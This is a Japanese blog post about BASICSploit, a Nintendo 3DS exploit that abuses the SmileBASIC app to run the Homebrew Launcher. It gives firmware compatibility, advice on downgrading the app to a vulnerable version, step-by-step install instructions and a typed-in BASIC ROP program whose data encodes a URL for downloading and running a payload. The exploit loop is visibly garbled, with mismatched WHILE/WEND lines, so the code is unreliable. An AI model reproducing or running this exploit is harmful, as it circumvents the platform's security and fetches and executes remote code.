ツイッターで、MrNbaYoh氏が『プチコン3号 SmileBASIC』に存在する脆弱性を利用してHomebrew Launcherを起動させることができるBASICSploitを公開していました。(kiyuさん、123さん、Johnさん、るりるりさん、AHOさん情報ありがとね)
個人的に多忙で記事書いてる暇ありませんでした。情報提供してくださった皆様、ありがとうございます。
最初に現時点での大事な情報だけお伝えしておきます。
・対応している3DSのファームウェアは9.0.0から11.0.0(最新)までです。
・BASICSploitはスタンドアロンexploitです。Homebrew Launcherでセーブデータを書き込む必要があるセカンダリーexploitより使い勝手は上です。
・『プチコン3号 SmileBASIC』eショップでダウンロードできなくなっていましたが、2016年7月11日(月)17時に、配信を終了と正式に発表されました。二度と手に入らないかといえばそうではなく、公式サイトにアップデートするまで配信を一時中止しているだけです。
海外で「プチコン3号 SmileBASIC」を利用し Nintendo 3DS システムに不正なアクセスを行うプログラムが確認されたため、現在、ニンテンドーeショップでの配信を停止しております。既に、原因を特定し、対策を施したアップデート版を用意しておりますので、必要な所定の手続きが済み次第、配信再開となります。
・配信終了直前の「プチコン3号 SmileBASIC」のバージョンは3.0.0でした。アップデータとしてv3.3.1が配布されています。アップデータは今でも配布されています。
余談ですが、v3.3.1にアップデートしていても購入時のバージョンにバージョンダウンできます。
本体設定 – データ管理 – ニンテンドー3DSデータ管理 – 追加コンテンツ管理
にプチコン3号のアップデータがありますのでそれを消去すればベースバージョンのv3.0.0になります。
・現在公開されているBASICSploitはUS版「SmileBASIC」のv3.2.1向けです。日本版は近く公開予定です。
・3DBrewによると、BASICSploitの脆弱性はv3.3.1でも修正されていません。v3.3.1のアップデータはそのうち配信されなくなりますので『プチコン3号 SmileBASIC』をお持ちの方は早めに入手しておいてください。
・exploit自体は、3DS初の「下画面キーボードを使った手打ち」が必要です。BASICプログラムを雑誌見ながら手打ちしていた頃を経験している方は「この程度楽勝」ですが、データはダウンロードするものでしょという30代以下の方は覚悟してください。
[BASICSploitインストール方法]
1) https://smealum.github.io/ninjhax2/starter.zipからHomebrew Starter Kitの最新版を入手する
2) Homebrew Starter KitをSDカードのルートにコピーする
3) プチコン3号 SmileBASICを起動し、TOP MENUにある”プロジェクトとファイルの管理”から
“プロジェクトフォルダ追加”を選択し、BASICSPLOITというプロジェクトフォルダを追加する
4) “SmileBASICでプログラムを作る”を選択し、BASICを起動。SAVE”DOWNLOADER”と手打ちしてエンターキーを押してDOWNLOADERというファイルを作成する。実際にはここでDOWNLOADER.txtというテキストデータファイルを作成している。
5) DOWNLOADERにhttp://mrnbayoh.github.io/basicsploit/にあるプチコン該当バージョンのスクリプトを手入力する。
6) インターネットに接続している状態でスクリプトを起動する。必要なファイルは自動的にダウンロードされた後、メニューが起動する。
7) メニューでDownload/Update *hax payloadを選択するとhaxペイロードがダウンロードされる。ファームウェアの情報は下画面で入力できる。
8) メニューでLaunch *hax payloadを選択するとHomebrew Launcherが起動する。
ちなみにUS版のBASICプログラムは以下です。これを手打ちします。&Hでアドレス入力が最も面倒な部分ですね。MZのBASICでPEEKやPOKEで直接メモリにアクセスしていた頃に日常的に作業していたことを思い出します。
IF HARDWARE==1 THEN
CODE_LINEAR_BASE=&H30000000+&H07C00000-&H00100000
ELSE
CODE_LINEAR_BASE=&H30000000+&H04000000-&H00100000
ENDIF
DATA &HDEADC0DE, &H13341C, &H94500D3, &H109924, &H1E6790, &H10ECA4, &H94500A0, &H1C15D8, &HDEADC0DE, &H94500D7, &HDAFC9754, &H115D5C, &H248720, &H94500DB, &H9450108, &H1DFECC, &H9450074, &H256D78, &H109924, &H2554DC, &H1000, &H248A8C, &HDEADC0DE, &H1FBA38, &H70747468, &H6D2F2F3A, &H61626E72, &H2E686F79, &H68746967, &H692E6275, &H61622F6F, &H73636973, &H696F6C70, &H73752F74, &H3132335F, &H725F642F, &H622E706F, &H6E69
DIM ROP[&H27]
ROP[0]=CODE_LINEAR_BASE
FOR I=1 TO &H26
READ ROP[I]
NEXT
BGSCREEN 0,134217728,16
ROP_COPYBASE_X = 406873
ROP_COPYBASE_Y = 7
ROP_LENGTH = LEN(ROP)
I=0
J=ROP_COPYBASE_Y
X=ROP_COPYBASE_X
WHILE I = 0
WORD=SHIFT(ROP)
BGPUT 0,X,J,WORD
DEC J
BGPUT 0,X,J,WORD>>16
DEC J
INC I
WEND
INC X
J=15
WEND
BGPUT 0,4759,2,"0017"
BGPUT 0,4759,3,"0D28"
FILL ROP,0
END